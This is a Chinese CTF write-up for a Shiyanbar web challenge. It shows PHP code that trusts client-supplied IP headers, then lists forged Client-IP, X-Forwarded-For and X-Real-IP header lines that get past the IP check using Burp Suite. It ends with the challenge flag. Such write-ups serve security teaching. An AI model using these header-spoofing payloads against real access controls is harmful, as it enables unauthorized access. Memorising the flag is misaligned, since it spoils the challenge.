实验吧-Web-貌似有点难
提前总结:
新知识:如何修改或者伪造ip?
代码审计很重要
burp suit的使用
题目:
分析:
打开题目网页之后就会发现这道题是一道代码审计的题型
分析代码
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}
$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>
直接看最后的代码块
我们只需要修改报头中的IP地址就可以
把IP地址修改为1.1.1.1,就可以显示key
开始:
先百度一下,如何修改报头中的ip地址
一般使用X-Forwarded-for就可以了
既然要伪造ip就要先抓包
使用Burp suit,抓到包发送到Repeater
搜集了许多伪造ip的语句
Client-IP: 1.1.1.1
x-forwarded-for: 127.0.0.1
x-remote-IP: 127.0.0.1
x-remote-IP: 127.0.0.1
x-client-IP: 127.0.0.1
x-forwarded-for:1.1.1.1
x-client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
添加任意一句即可
第一先添加
第二GO一下
第三就找到了
答案:
Great! Key is SimCTF{daima_shengji}